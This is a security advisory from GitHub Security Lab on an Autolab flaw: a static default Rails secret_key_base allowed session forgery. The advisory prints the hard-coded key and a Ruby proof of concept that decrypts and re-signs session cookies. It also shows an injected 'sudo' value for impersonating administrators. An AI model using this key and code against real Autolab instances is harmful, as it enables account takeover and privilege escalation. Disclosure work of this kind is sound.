Coordinated Disclosure Timeline
- 2023-02-22 Reported vulnerability via GitHub’s private vulnerability reporting feature.
- 2023-02-22 Vulnerability was accepted by the Autolab team.
- 2023-05-21 Vulnerability was fixed and an advisory was published.
Summary
Autolab did not enforce a unique, secure secret_key_base
for the default docker-based production setup. If no secret_key_base
was set, Autolab fell back to a static secret_key_base
that was the same for all instances. This could have enabled attackers to impersonate admin users via session forgery.
Product
Autolab
Tested Version
Details
Issue: Session forgery/admin impersonation vulnerability in recommended setup (GHSL-2023-030
)
Autolab does not require or generate a secure secret_key_base
for production environments. This secret_key_base
is used to sign and encrypt Rails session cookies. If an attacker can guess the secret_key_base
, they can forge cookies and possibly other sensitive data.
Currently, it is recommended to set up Autolab instances with docker compose:
The Autolab Docker Compose installation is a fast and easy production-ready installation and deployment method. [..] This is now the preferred way of installing Autolab.
The Docker Compose instructions do not have a requirement to set the secret_key_base
, nor does the Docker .env.template
have an entry for the SECRET_KEY_BASE
environment variable. If such a setup is run the secret_key_base
secret set in the secret_token.rb
config initializer is used. It is the same for all Autolab production instances that don’t have a SECRET_KEY_BASE
set separately.
Autolab3::Application.config.secret_key_base = 'xxxf3744b24bb9b3f293159ae01a74a3710ba0af8a435386701bd90c198bd424e9a989c0850cfcc9349192a5a1c64c06cda70ff27b17081690aa8d4a7985e10aedb'
Proof of Concept: User/Admin-impersonation due to “act as user”-feature (for users with passwords in the database)
Since Autolab uses Devise for user authentication, user impersonation for locally-stored users is not straightforward. The JSON-serialized, signed and encrypted cookie contains parts of the bcrypt hash of a user, which cannot be found out without access to Autolabs database. The plain text contents of a locally stored Autolab user might look like this:
{"session_id":"46d48e99bbc4a60d0b2dcbef62a63f25","warden.user.user.key":[[1],"$2a$10$B30sKDUmCH5iX885sK4lBO"],"_csrf_token":"stSAcmZ6kkf6W9tDgvqXlFrSQFQb52WtrUNov20eAgU="}
That being said: if the attacker has a valid account with an Autolab instance, they are able to modify the values of their own cookie. The attacker might look around for interesting key/value combinations that allow them to elevate their rights or impersonate other users. In Autolab we have following candidates for this:
Information about federated authentication providers (when in use)
- Facebook
session["devise.facebook_data"]
- Google
session["devise.google_oauth2_data"]
- (CMU) -Shibboleth
session["devise.shibboleth_data"]
The “act as user” aka sudo feature:
- act as user
session[:sudo]
We can use the “act as user”/sudo feature to impersonate an administrator. For this we have to decrypt an existing session cookie from an unprivileged user and add a JSON value such as:
"sudo":{"user_id":1,"course_id":2,"actual_name":"Im the captain now"}
(Where the user_id
is the user we want to impersonate and the course_id
is the course we want to get access to.)
Following functions can be used to decrypt an existing session cookie and encrypt and sign it again:
require 'active_support'
require 'cgi'
require 'json'
# The cookie param should contain an original cookie from Autolab (e.g. copied from a browser)
def decrypt_and_verify_session_cookie(cookie, secret_key_base)
key_generator = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000)
secret = key_generator.generate_key('encrypted cookie')[0, ActiveSupport::MessageEncryptor.key_len]
signing_secret = key_generator.generate_key('signed encrypted cookie')
encryptor = ActiveSupport::MessageEncryptor.new(secret, signing_secret, serializer: JSON)
encryptor.decrypt_and_verify(CGI::unescape(cookie)).to_json
end
# The cookie_json param should be filled with a JSON string (e.g. '{"session_id":"...","warden.user.user.key": ...}')
def encrypt_and_sign_session_cookie(cookie_json, secret_key_base)
key_generator = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000)
secret = key_generator.generate_key('encrypted cookie')[0, ActiveSupport::MessageEncryptor.key_len]
signing_secret = key_generator.generate_key('signed encrypted cookie')
encryptor = ActiveSupport::MessageEncryptor.new(secret, signing_secret, serializer: JSON)
CGI.escape(encryptor.encrypt_and_sign(JSON.parse(cookie_json)))
end
Note about User/Admin-impersonation of federated users
It might also be possible to impersonate users from federated authentication providers by manipulating the respective session attributes:
- Facebook
session["devise.facebook_data"]
- Google
session["devise.google_oauth2_data"]
- (CMU) -Shibboleth
session["devise.shibboleth_data"]
If a user could successfully exploit this vulnerability by impersonating a user coming from a federated authentication provider, they might not need a valid session cookie from an authenticated user.
Impact
This issue may lead to Elevation of privilege through user/admin impersonation. It may also lead to Remote Code Execution (RCE) by unprivileged users on systems that are not patched against CVE-2022-41955.
Resources
CVE
- CVE-2023-28641
Credit
This issue was discovered and reported by GHSL team member @p- (Peter Stöckli).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-030
in any communication regarding this issue.